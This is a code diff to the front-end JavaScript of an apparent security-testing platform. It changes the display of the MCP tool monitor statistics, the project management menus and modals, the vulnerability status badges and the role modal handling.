role="button" tabindex="0" aria-label="${escapeHtml(segAria)}" role="button" tabindex="0" aria-label="${escapeHtml(segAria)}"
@@ -4584,7 +4729,8 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0)); const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0));
const listHtml = topTools.map((tool, index) => { const listHtml = topTools.map((tool, index) => {
const name = tool.toolName || unknownToolLabel; const rawName = tool.toolName || unknownToolLabel;
const name = formatMonitorToolName(rawName);
const total = tool.totalCalls || 0; const total = tool.totalCalls || 0;
const success = tool.successCalls || 0; const success = tool.successCalls || 0;
const failed = tool.failedCalls || 0; const failed = tool.failedCalls || 0;
@@ -4593,7 +4739,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0'; const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length]; const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0'; const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0';
const isActive = activeToolFilter && activeToolFilter === name; const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
const rateClass = getMcpToolRateClass(toolRateNum); const rateClass = getMcpToolRateClass(toolRateNum);
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : ''; const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate }) const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
@@ -4602,7 +4748,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>` ? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>`
: ''; : '';
return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}" return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}"
data-tool-name="${escapeHtml(name)}" tabindex="0" role="button" data-tool-name="${escapeHtml(rawName)}" tabindex="0" role="button"
aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}"> aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}">
<span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span> <span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span>
<span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span> <span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span>
@@ -4762,7 +4908,8 @@ function renderMonitorStats(statsMap = {}, lastFetchedAt = null) {
.sort((a, b) => (b.totalCalls || 0) - (a.totalCalls || 0)) .sort((a, b) => (b.totalCalls || 0) - (a.totalCalls || 0))
.slice(0, MCP_STATS_TOP_N); .slice(0, MCP_STATS_TOP_N);
const showCombined = showTimeline || topTools.length > 0; const hasAnyCalls = totals.total > 0;
const showCombined = hasAnyCalls && (topTools.length > 0 || showTimeline);
const html = ` const html = `
<div class="mcp-exec-stats"> <div class="mcp-exec-stats">
${renderMcpStatsMetricsBar(totals, successRate, rateTone, rateSubText, lastCallText, hasCalls)} ${renderMcpStatsMetricsBar(totals, successRate, rateTone, rateSubText, lastCallText, hasCalls)}
@@ -4836,7 +4983,7 @@ function renderMonitorExecutions(executions = [], statusFilter = 'all') {
const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status); const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status);
const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel; const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel;
const duration = formatExecutionDuration(exec.startTime, exec.endTime); const duration = formatExecutionDuration(exec.startTime, exec.endTime);
const toolName = escapeHtml(exec.toolName || unknownToolLabel); const toolName = escapeHtml(formatMonitorToolName(exec.toolName) || unknownToolLabel);
const rawExecId = exec.id || ''; const rawExecId = exec.id || '';
const executionId = escapeHtml(rawExecId); const executionId = escapeHtml(rawExecId);
const terminateBtn = status === 'running' const terminateBtn = status === 'running'
+297 -110
View File
@@ -5,12 +5,15 @@ let projectsCache = [];
let projectsCacheAll = []; let projectsCacheAll = [];
const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size'; const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
let currentProjectId = null; let currentProjectId = null;
let currentProjectUpdatedAt = null;
let currentProjectTab = 'facts'; let currentProjectTab = 'facts';
const projectNameById = {}; const projectNameById = {};
let _projectsListReady = false; let _projectsListReady = false;
let _projectsFetchPromise = null; let _projectsFetchPromise = null;
const PROJECT_ACTIVE_KEY = 'cyberstrike.activeProjectId'; const PROJECT_ACTIVE_KEY = 'cyberstrike.activeProjectId';
const PROJECT_DESCRIPTION_MAX_LENGTH = 4000;
const PROJECT_NAME_MAX_LENGTH = 200;
function tp(key, opts) { function tp(key, opts) {
if (typeof window.t === 'function') return window.t(key, opts); if (typeof window.t === 'function') return window.t(key, opts);
@@ -304,23 +307,9 @@ function prefetchProjectsForChat() {
ensureProjectsLoaded().catch(() => {}); ensureProjectsLoaded().catch(() => {});
} }
/** 新对话时:保留有效 activeProjectId,否则默认选中第一个进行中的项目 */ /** 新对话时默认不绑定项目;用户需主动选择后才写入共享黑板 */
async function ensureDefaultActiveProjectForNewChat() { async function ensureDefaultActiveProjectForNewChat() {
try { setActiveProjectId('');
await ensureProjectsLoaded();
const cur = getActiveProjectId();
if (cur && isActiveChatProjectId(cur)) return cur;
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
const first =
source.find((p) => p.pinned && p.status !== 'archived') ||
source.find((p) => p.status !== 'archived');
if (first) {
setActiveProjectId(first.id);
return first.id;
}
} catch (e) {
console.warn(e);
}
return ''; return '';
} }
@@ -343,7 +332,9 @@ async function initProjectsPage() {
const page = document.getElementById('page-projects'); const page = document.getElementById('page-projects');
if (!page || page.style.display === 'none') return; if (!page || page.style.display === 'none') return;
initProjectsModalEscape(); initProjectsModalEscape();
syncProjectsModalBodyLock(); if (typeof syncAppModalBodyLock === 'function') {
syncAppModalBodyLock();
}
updateProjectsDetailVisibility(); updateProjectsDetailVisibility();
projectsListPagination.pageSize = getProjectsListPageSize(); projectsListPagination.pageSize = getProjectsListPageSize();
renderProjectsPagination(); renderProjectsPagination();
@@ -463,9 +454,10 @@ function formatVulnStatusBadge(status) {
confirmed: 'vulnerabilityPage.statusConfirmed', confirmed: 'vulnerabilityPage.statusConfirmed',
fixed: 'vulnerabilityPage.statusFixed', fixed: 'vulnerabilityPage.statusFixed',
false_positive: 'vulnerabilityPage.statusFalsePositive', false_positive: 'vulnerabilityPage.statusFalsePositive',
ignored: 'vulnerabilityPage.statusIgnored',
}; };
const label = labelMap[s] ? tp(labelMap[s]) : status || '—'; const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
const cls = ['open', 'confirmed', 'fixed', 'false_positive'].includes(s) ? s : 'open'; const cls = ['open', 'confirmed', 'fixed', 'false_positive', 'ignored'].includes(s) ? s : 'open';
return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`; return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
} }
@@ -610,11 +602,41 @@ function renderProjectsSidebar() {
<div class="projects-list-item-name">${escapeHtml(p.name)}${badges}</div> <div class="projects-list-item-name">${escapeHtml(p.name)}${badges}</div>
<div class="projects-list-item-meta">${formatProjectTime(p.updated_at)}</div> <div class="projects-list-item-meta">${formatProjectTime(p.updated_at)}</div>
</div> </div>
<button type="button" class="projects-list-item-menu" title="${escapeHtml(tp('projects.projectActions'))}" aria-label="${escapeHtml(tp('projects.projectActions'))}" onclick="showProjectListActionMenu(event, '${escapeHtml(p.id)}')"></button>
</div>`; </div>`;
}).join(''); }).join('');
updateProjectsDetailVisibility(); updateProjectsDetailVisibility();
} }
function clampProjectDescription(text) {
const s = (text || '').trim();
if (s.length <= PROJECT_DESCRIPTION_MAX_LENGTH) return s;
return s.slice(0, PROJECT_DESCRIPTION_MAX_LENGTH);
}
function renderProjectDetailTitle(name) {
const titleEl = document.getElementById('projects-detail-title');
if (!titleEl) return;
const text = (name || '').trim() || tp('projects.defaultProjectName');
titleEl.textContent = text;
titleEl.title = text;
}
function renderProjectDetailDesc(desc) {
const descEl = document.getElementById('projects-detail-desc');
if (!descEl) return;
const text = (desc || '').trim();
if (!text) {
descEl.hidden = true;
descEl.textContent = '';
descEl.removeAttribute('title');
return;
}
descEl.textContent = text;
descEl.title = text;
descEl.hidden = false;
}
function updateProjectStatusPill(status) { function updateProjectStatusPill(status) {
const el = document.getElementById('projects-detail-status'); const el = document.getElementById('projects-detail-status');
if (!el) return; if (!el) return;
@@ -623,6 +645,24 @@ function updateProjectStatusPill(status) {
el.className = 'projects-status-pill ' + (archived ? 'projects-status-pill--archived' : 'projects-status-pill--active'); el.className = 'projects-status-pill ' + (archived ? 'projects-status-pill--archived' : 'projects-status-pill--active');
} }
function renderProjectDetailMeta(updatedAt) {
const metaEl = document.getElementById('projects-detail-meta');
if (!metaEl) return;
const time = formatProjectTime(updatedAt);
metaEl.textContent = tpFmt('projects.updatedPrefix', `Updated ${time}`, { time });
}
function refreshProjectDetailMetaI18n() {
if (!currentProjectId) return;
let updatedAt = currentProjectUpdatedAt;
if (updatedAt == null) {
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
const p = source.find((x) => x.id === currentProjectId);
updatedAt = p?.updated_at;
}
renderProjectDetailMeta(updatedAt);
}
function updateProjectStats(stats) { function updateProjectStats(stats) {
const s = stats || {}; const s = stats || {};
const f = document.getElementById('project-stat-facts'); const f = document.getElementById('project-stat-facts');
@@ -668,8 +708,7 @@ async function selectProject(id) {
const res = await apiFetch(`/api/projects/${id}`); const res = await apiFetch(`/api/projects/${id}`);
if (!res.ok) throw new Error(tp('projects.projectNotFound')); if (!res.ok) throw new Error(tp('projects.projectNotFound'));
const p = await res.json(); const p = await res.json();
const titleEl = document.getElementById('projects-detail-title'); renderProjectDetailTitle(p.name);
if (titleEl) titleEl.textContent = p.name || tp('projects.defaultProjectName');
document.getElementById('project-edit-name').value = p.name || ''; document.getElementById('project-edit-name').value = p.name || '';
document.getElementById('project-edit-description').value = p.description || ''; document.getElementById('project-edit-description').value = p.description || '';
document.getElementById('project-edit-scope').value = p.scope_json || ''; document.getElementById('project-edit-scope').value = p.scope_json || '';
@@ -678,19 +717,9 @@ async function selectProject(id) {
const pinEl = document.getElementById('project-edit-pinned'); const pinEl = document.getElementById('project-edit-pinned');
if (pinEl) pinEl.checked = !!p.pinned; if (pinEl) pinEl.checked = !!p.pinned;
updateProjectStatusPill(p.status || 'active'); updateProjectStatusPill(p.status || 'active');
const metaEl = document.getElementById('projects-detail-meta'); currentProjectUpdatedAt = p.updated_at;
if (metaEl) metaEl.textContent = tpFmt('projects.updatedPrefix', `Updated ${formatProjectTime(p.updated_at)}`, { time: formatProjectTime(p.updated_at) }); renderProjectDetailMeta(currentProjectUpdatedAt);
const descEl = document.getElementById('projects-detail-desc'); renderProjectDetailDesc(p.description);
if (descEl) {
const desc = (p.description || '').trim();
if (desc) {
descEl.textContent = desc;
descEl.hidden = false;
} else {
descEl.textContent = '';
descEl.hidden = true;
}
}
projectNameById[p.id] = p.name || p.id; projectNameById[p.id] = p.name || p.id;
} catch (e) { } catch (e) {
console.warn(e); console.warn(e);
@@ -857,38 +886,52 @@ let _factDetailFact = null;
let _projectFactsFilterDebounce = null; let _projectFactsFilterDebounce = null;
async function viewProjectFactBody(factKey) { async function viewProjectFactBody(factKey) {
const res = await apiFetch(`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`); document.getElementById('fact-detail-title').textContent = factKey;
if (!res.ok) return alert(tp('common.loadFailed')); document.getElementById('fact-detail-meta').textContent = '…';
const f = await res.json(); document.getElementById('fact-detail-body').textContent = '';
_factDetailKey = f.fact_key;
_factDetailFact = f;
document.getElementById('fact-detail-title').textContent = `[${f.fact_key}]`;
const metaParts = [
tpFmt('projects.factMetaCategory', `Category: ${f.category}`, { value: f.category }),
tpFmt('projects.factMetaConfidence', `Confidence: ${f.confidence}`, { value: f.confidence }),
tpFmt('projects.factMetaUpdated', `Updated: ${formatProjectTime(f.updated_at, f.created_at)}`, {
time: formatProjectTime(f.updated_at, f.created_at),
}),
];
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
const warnEl = document.getElementById('fact-detail-sparse-warn'); const warnEl = document.getElementById('fact-detail-sparse-warn');
if (warnEl) { if (warnEl) {
if (isSparseFactBody(f.category, f.fact_key, f.body)) { warnEl.hidden = true;
warnEl.hidden = false; warnEl.textContent = '';
warnEl.textContent = tp('projects.factSparseWarn');
} else {
warnEl.hidden = true;
warnEl.textContent = '';
}
} }
const linkBtn = document.getElementById('fact-detail-link-vuln-btn'); const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
const createBtn = document.getElementById('fact-detail-create-vuln-btn'); const createBtn = document.getElementById('fact-detail-create-vuln-btn');
if (linkBtn) linkBtn.hidden = false; if (linkBtn) linkBtn.hidden = true;
if (createBtn) createBtn.hidden = false; if (createBtn) createBtn.hidden = true;
openProjectsOverlay('fact-detail-modal'); openProjectsOverlay('fact-detail-modal', { focus: false });
const res = await apiFetch(`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`);
if (!res.ok) {
closeFactDetailModal();
return alert(tp('common.loadFailed'));
}
const f = await res.json();
_factDetailKey = f.fact_key;
_factDetailFact = f;
deferModalContent(() => {
document.getElementById('fact-detail-title').textContent = `[${f.fact_key}]`;
const metaParts = [
tpFmt('projects.factMetaCategory', `Category: ${f.category}`, { value: f.category }),
tpFmt('projects.factMetaConfidence', `Confidence: ${f.confidence}`, { value: f.confidence }),
tpFmt('projects.factMetaUpdated', `Updated: ${formatProjectTime(f.updated_at, f.created_at)}`, {
time: formatProjectTime(f.updated_at, f.created_at),
}),
];
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
if (warnEl) {
if (isSparseFactBody(f.category, f.fact_key, f.body)) {
warnEl.hidden = false;
warnEl.textContent = tp('projects.factSparseWarn');
} else {
warnEl.hidden = true;
warnEl.textContent = '';
}
}
if (linkBtn) linkBtn.hidden = false;
if (createBtn) createBtn.hidden = false;
});
} }
function editFactFromDetail() { function editFactFromDetail() {
@@ -1143,41 +1186,16 @@ async function viewFactsForVulnerability(vulnId) {
else loadProjectFacts(); else loadProjectFacts();
} }
function openProjectsOverlay(id) { function openProjectsOverlay(id, opts) {
const el = document.getElementById(id); openAppModal(id, opts);
if (!el) return;
el.style.display = 'flex';
syncProjectsModalBodyLock();
const focusTarget = el.querySelector('input.form-input, textarea.form-input, select.form-input');
if (focusTarget) {
setTimeout(() => focusTarget.focus(), 80);
}
} }
function isProjectsOverlayVisible(id) { function isProjectsOverlayVisible(id) {
const el = document.getElementById(id); return isAppModalOpen(id);
if (!el) return false;
const style = window.getComputedStyle(el);
return style.display !== 'none' && style.visibility !== 'hidden';
}
function hasVisibleProjectsOverlay() {
const overlays = document.querySelectorAll('.projects-modal-overlay');
return Array.from(overlays).some((el) => {
const style = window.getComputedStyle(el);
return style.display !== 'none' && style.visibility !== 'hidden';
});
}
function syncProjectsModalBodyLock() {
if (hasVisibleProjectsOverlay()) document.body.classList.add('projects-modal-open');
else document.body.classList.remove('projects-modal-open');
} }
function closeProjectsOverlay(id) { function closeProjectsOverlay(id) {
const el = document.getElementById(id); closeAppModal(id);
if (el) el.style.display = 'none';
syncProjectsModalBodyLock();
} }
function showNewProjectModal() { function showNewProjectModal() {
@@ -1192,6 +1210,42 @@ function showNewProjectModal() {
openProjectsOverlay('project-modal'); openProjectsOverlay('project-modal');
} }
async function showEditProjectModal(projectId) {
if (!projectId) return;
window._projectModalFromChat = false;
window._projectModalEditId = projectId;
document.getElementById('project-modal-title').textContent = tp('projects.modalEditTitle');
const sub = document.getElementById('project-modal-subtitle');
if (sub) sub.textContent = tp('projects.modalEditSubtitle');
const submitBtn = document.getElementById('project-modal-submit-btn');
if (submitBtn) submitBtn.textContent = tp('projects.saveChanges');
const nameEl = document.getElementById('project-modal-name');
const descEl = document.getElementById('project-modal-description');
if (nameEl) nameEl.value = '';
if (descEl) descEl.value = '';
openProjectsOverlay('project-modal', { focus: false });
let p = findProjectById(projectId);
if (!p) {
try {
const res = await apiFetch(`/api/projects/${encodeURIComponent(projectId)}`);
if (!res.ok) throw new Error(tp('projects.projectNotFound'));
p = await res.json();
} catch (e) {
closeProjectModal();
alert(e.message || tp('projects.projectNotFound'));
window._projectModalEditId = null;
return;
}
}
const name = (p.name || '').slice(0, PROJECT_NAME_MAX_LENGTH);
const description = clampProjectDescription(p.description || '');
deferModalContent(() => {
if (nameEl) nameEl.value = name;
if (descEl) descEl.value = description;
nameEl?.focus();
});
}
/** 从对话区「选择项目」面板打开新建项目,创建成功后自动绑定当前对话 */ /** 从对话区「选择项目」面板打开新建项目,创建成功后自动绑定当前对话 */
function showNewProjectModalFromChat() { function showNewProjectModalFromChat() {
closeChatProjectPanel(); closeChatProjectPanel();
@@ -1200,11 +1254,11 @@ function showNewProjectModalFromChat() {
} }
async function saveProjectModal() { async function saveProjectModal() {
const name = document.getElementById('project-modal-name').value.trim(); const name = document.getElementById('project-modal-name').value.trim().slice(0, PROJECT_NAME_MAX_LENGTH);
if (!name) return alert(tp('projects.enterProjectName')); if (!name) return alert(tp('projects.enterProjectName'));
const body = { const body = {
name, name,
description: document.getElementById('project-modal-description').value.trim(), description: clampProjectDescription(document.getElementById('project-modal-description').value),
}; };
const editId = window._projectModalEditId; const editId = window._projectModalEditId;
const res = editId const res = editId
@@ -1231,6 +1285,7 @@ async function saveProjectModal() {
function closeProjectModal() { function closeProjectModal() {
window._projectModalFromChat = false; window._projectModalFromChat = false;
window._projectModalEditId = null;
closeProjectsOverlay('project-modal'); closeProjectsOverlay('project-modal');
} }
@@ -1271,7 +1326,7 @@ async function saveProjectSettings() {
} }
const body = { const body = {
name: document.getElementById('project-edit-name').value.trim(), name: document.getElementById('project-edit-name').value.trim(),
description: document.getElementById('project-edit-description').value.trim(), description: clampProjectDescription(document.getElementById('project-edit-description').value),
scope_json: scopeRaw, scope_json: scopeRaw,
status: document.getElementById('project-edit-status')?.value || 'active', status: document.getElementById('project-edit-status')?.value || 'active',
pinned: !!document.getElementById('project-edit-pinned')?.checked, pinned: !!document.getElementById('project-edit-pinned')?.checked,
@@ -1287,30 +1342,112 @@ async function saveProjectSettings() {
alert(tp('projects.saved')); alert(tp('projects.saved'));
} }
async function archiveCurrentProject() { function findProjectById(projectId) {
if (!currentProjectId) return; return projectsCache.find((p) => p.id === projectId) || projectsCacheAll.find((p) => p.id === projectId);
const statusEl = document.getElementById('project-edit-status'); }
const cur = statusEl?.value || 'active';
let _projectListMenuTargetId = null;
let _projectListMenuDocClickBound = false;
function closeProjectListActionMenu() {
const menu = document.getElementById('projects-list-action-menu');
if (!menu) return;
menu.style.display = 'none';
_projectListMenuTargetId = null;
}
function positionProjectListActionMenu(event) {
const menu = document.getElementById('projects-list-action-menu');
if (!menu) return;
menu.style.display = 'block';
menu.style.visibility = 'visible';
menu.style.opacity = '1';
void menu.offsetHeight;
const menuRect = menu.getBoundingClientRect();
const viewportWidth = window.innerWidth;
const viewportHeight = window.innerHeight;
let left = event.clientX;
let top = event.clientY;
if (left + menuRect.width > viewportWidth) {
left = Math.max(8, event.clientX - menuRect.width);
}
if (top + menuRect.height > viewportHeight) {
top = Math.max(8, event.clientY - menuRect.height);
}
menu.style.left = `${left}px`;
menu.style.top = `${top}px`;
}
function showProjectListActionMenu(event, projectId) {
event.stopPropagation();
event.preventDefault();
const menu = document.getElementById('projects-list-action-menu');
if (!menu) return;
if (_projectListMenuTargetId === projectId && menu.style.display === 'block') {
closeProjectListActionMenu();
return;
}
closeProjectListActionMenu();
const p = findProjectById(projectId);
if (!p) return;
_projectListMenuTargetId = projectId;
const editText = document.getElementById('projects-list-menu-edit-text');
const archiveText = document.getElementById('projects-list-menu-archive-text');
const deleteText = document.getElementById('projects-list-menu-delete-text');
if (editText) editText.textContent = tp('projects.editProject');
if (archiveText) {
archiveText.textContent = p.status === 'archived'
? tp('projects.restoreProjectActive')
: tp('projects.archiveProject');
}
if (deleteText) deleteText.textContent = tp('projects.deleteProject');
positionProjectListActionMenu(event);
}
function initProjectListActionMenu() {
if (_projectListMenuDocClickBound) return;
_projectListMenuDocClickBound = true;
document.addEventListener('click', (event) => {
const menu = document.getElementById('projects-list-action-menu');
if (!menu || menu.style.display === 'none') return;
if (menu.contains(event.target)) return;
if (event.target.closest('.projects-list-item-menu')) return;
closeProjectListActionMenu();
});
document.addEventListener('keydown', (event) => {
if (event.key === 'Escape') closeProjectListActionMenu();
});
}
async function toggleProjectArchiveById(projectId) {
const p = findProjectById(projectId);
if (!p) return;
const cur = p.status || 'active';
const next = cur === 'archived' ? 'active' : 'archived'; const next = cur === 'archived' ? 'active' : 'archived';
if (!confirm(next === 'archived' ? tp('projects.confirmArchiveProject') : tp('projects.confirmRestoreProjectActive'))) return; if (!confirm(next === 'archived' ? tp('projects.confirmArchiveProject') : tp('projects.confirmRestoreProjectActive'))) return;
const res = await apiFetch(`/api/projects/${currentProjectId}`, { const res = await apiFetch(`/api/projects/${projectId}`, {
method: 'PUT', method: 'PUT',
headers: { 'Content-Type': 'application/json' }, headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ status: next }), body: JSON.stringify({ status: next }),
}); });
if (!res.ok) return alert(tp('projects.operationFailed')); if (!res.ok) return alert(tp('projects.operationFailed'));
await loadProjectsList(); await loadProjectsList();
await selectProject(currentProjectId); if (currentProjectId === projectId && projectsCache.some((item) => item.id === projectId)) {
await selectProject(projectId);
} else if (currentProjectId === projectId) {
currentProjectId = null;
updateProjectsDetailVisibility();
if (projectsCache.length) await selectProject(projectsCache[0].id);
}
} }
async function deleteCurrentProject() { async function deleteProjectById(projectId) {
if (!currentProjectId || !confirm(tp('projects.confirmDeleteProject'))) return; if (!projectId || !confirm(tp('projects.confirmDeleteProject'))) return;
const deletedId = currentProjectId; const deletedIndex = projectsCache.findIndex((p) => p.id === projectId);
const deletedIndex = projectsCache.findIndex((p) => p.id === deletedId); const res = await apiFetch(`/api/projects/${projectId}`, { method: 'DELETE' });
const res = await apiFetch(`/api/projects/${deletedId}`, { method: 'DELETE' });
if (!res.ok) return alert(tp('projects.deleteFailed')); if (!res.ok) return alert(tp('projects.deleteFailed'));
if (getActiveProjectId() === deletedId) setActiveProjectId(''); if (getActiveProjectId() === projectId) setActiveProjectId('');
currentProjectId = null; if (currentProjectId === projectId) currentProjectId = null;
await loadProjectsList(); await loadProjectsList();
if (projectsCache.length) { if (projectsCache.length) {
const nextIndex = Math.min(deletedIndex >= 0 ? deletedIndex : 0, projectsCache.length - 1); const nextIndex = Math.min(deletedIndex >= 0 ? deletedIndex : 0, projectsCache.length - 1);
@@ -1320,6 +1457,37 @@ async function deleteCurrentProject() {
} }
} }
async function toggleProjectArchiveFromListMenu() {
const projectId = _projectListMenuTargetId;
closeProjectListActionMenu();
if (!projectId) return;
await toggleProjectArchiveById(projectId);
}
function editProjectFromListMenu() {
const projectId = _projectListMenuTargetId;
closeProjectListActionMenu();
if (!projectId) return;
showEditProjectModal(projectId);
}
async function deleteProjectFromListMenu() {
const projectId = _projectListMenuTargetId;
closeProjectListActionMenu();
if (!projectId) return;
await deleteProjectById(projectId);
}
async function archiveCurrentProject() {
if (!currentProjectId) return;
await toggleProjectArchiveById(currentProjectId);
}
async function deleteCurrentProject() {
if (!currentProjectId) return;
await deleteProjectById(currentProjectId);
}
function resetFactModalForm() { function resetFactModalForm() {
window._factModalEditId = null; window._factModalEditId = null;
const keyEl = document.getElementById('fact-modal-key'); const keyEl = document.getElementById('fact-modal-key');
@@ -1379,14 +1547,20 @@ function showAddFactModal() {
async function showEditFactModal(factKey) { async function showEditFactModal(factKey) {
if (!currentProjectId) return alert(tp('projects.selectProjectFirst')); if (!currentProjectId) return alert(tp('projects.selectProjectFirst'));
resetFactModalForm();
openProjectsOverlay('fact-modal', { focus: false });
const res = await apiFetch( const res = await apiFetch(
`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`, `/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`,
); );
if (!res.ok) return alert(tp('projects.loadFactFailed')); if (!res.ok) {
closeFactModal();
return alert(tp('projects.loadFactFailed'));
}
const f = await res.json(); const f = await res.json();
resetFactModalForm(); deferModalContent(() => {
fillFactModalForm(f); fillFactModalForm(f);
openProjectsOverlay('fact-modal'); document.getElementById('fact-modal-key')?.focus();
});
} }
function closeFactModal() { function closeFactModal() {
@@ -1713,6 +1887,10 @@ function initChatProjectSelector() {
const panel = document.getElementById('chat-project-panel'); const panel = document.getElementById('chat-project-panel');
if (panel && panel.style.display === 'flex') renderChatProjectPanelList(); if (panel && panel.style.display === 'flex') renderChatProjectPanelList();
if (currentProjectId) { if (currentProjectId) {
refreshProjectDetailMetaI18n();
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
const p = source.find((x) => x.id === currentProjectId);
if (p) updateProjectStatusPill(p.status || 'active');
refreshProjectHeaderStats().catch(() => {}); refreshProjectHeaderStats().catch(() => {});
switchProjectTab(currentProjectTab || 'facts'); switchProjectTab(currentProjectTab || 'facts');
} }
@@ -1730,13 +1908,18 @@ function initChatProjectSelector() {
} }
if (document.readyState === 'loading') { if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', initChatProjectSelector); document.addEventListener('DOMContentLoaded', () => {
initChatProjectSelector();
initProjectListActionMenu();
});
} else { } else {
initChatProjectSelector(); initChatProjectSelector();
initProjectListActionMenu();
} }
window.initProjectsPage = initProjectsPage; window.initProjectsPage = initProjectsPage;
window.showNewProjectModal = showNewProjectModal; window.showNewProjectModal = showNewProjectModal;
window.showEditProjectModal = showEditProjectModal;
window.showNewProjectModalFromChat = showNewProjectModalFromChat; window.showNewProjectModalFromChat = showNewProjectModalFromChat;
window.saveProjectModal = saveProjectModal; window.saveProjectModal = saveProjectModal;
window.closeProjectModal = closeProjectModal; window.closeProjectModal = closeProjectModal;
@@ -1751,6 +1934,10 @@ window.closeFactDetailModal = closeFactDetailModal;
window.saveProjectSettings = saveProjectSettings; window.saveProjectSettings = saveProjectSettings;
window.archiveCurrentProject = archiveCurrentProject; window.archiveCurrentProject = archiveCurrentProject;
window.deleteCurrentProject = deleteCurrentProject; window.deleteCurrentProject = deleteCurrentProject;
window.showProjectListActionMenu = showProjectListActionMenu;
window.editProjectFromListMenu = editProjectFromListMenu;
window.toggleProjectArchiveFromListMenu = toggleProjectArchiveFromListMenu;
window.deleteProjectFromListMenu = deleteProjectFromListMenu;
window.refreshChatProjectSelector = refreshChatProjectSelector; window.refreshChatProjectSelector = refreshChatProjectSelector;
window.onChatProjectChange = onChatProjectChange; window.onChatProjectChange = onChatProjectChange;
window.toggleChatProjectPanel = toggleChatProjectPanel; window.toggleChatProjectPanel = toggleChatProjectPanel;
+8 -6
View File
@@ -1112,7 +1112,7 @@ async function showAddRoleModal() {
// 确保统计信息正确更新(显示0/108) // 确保统计信息正确更新(显示0/108)
updateRoleToolsStats(); updateRoleToolsStats();
modal.style.display = 'flex'; openAppModal('role-modal');
} }
// 编辑角色 // 编辑角色
@@ -1274,15 +1274,16 @@ async function editRole(roleName) {
} }
} }
modal.style.display = 'flex'; openAppModal('role-modal');
} }
// 关闭角色模态框 // 关闭角色模态框
function closeRoleModal() { function closeRoleModal() {
const modal = document.getElementById('role-modal'); closeAppModal('role-modal');
if (modal) { }
modal.style.display = 'none';
} function closeRoleSelectModal() {
closeAppModal('role-select-modal');
} }
// 获取所有选中的工具(包括未在MCP管理中启用的工具) // 获取所有选中的工具(包括未在MCP管理中启用的工具)
@@ -1634,6 +1635,7 @@ if (typeof window !== 'undefined') {
window.getCurrentRole = getCurrentRole; window.getCurrentRole = getCurrentRole;
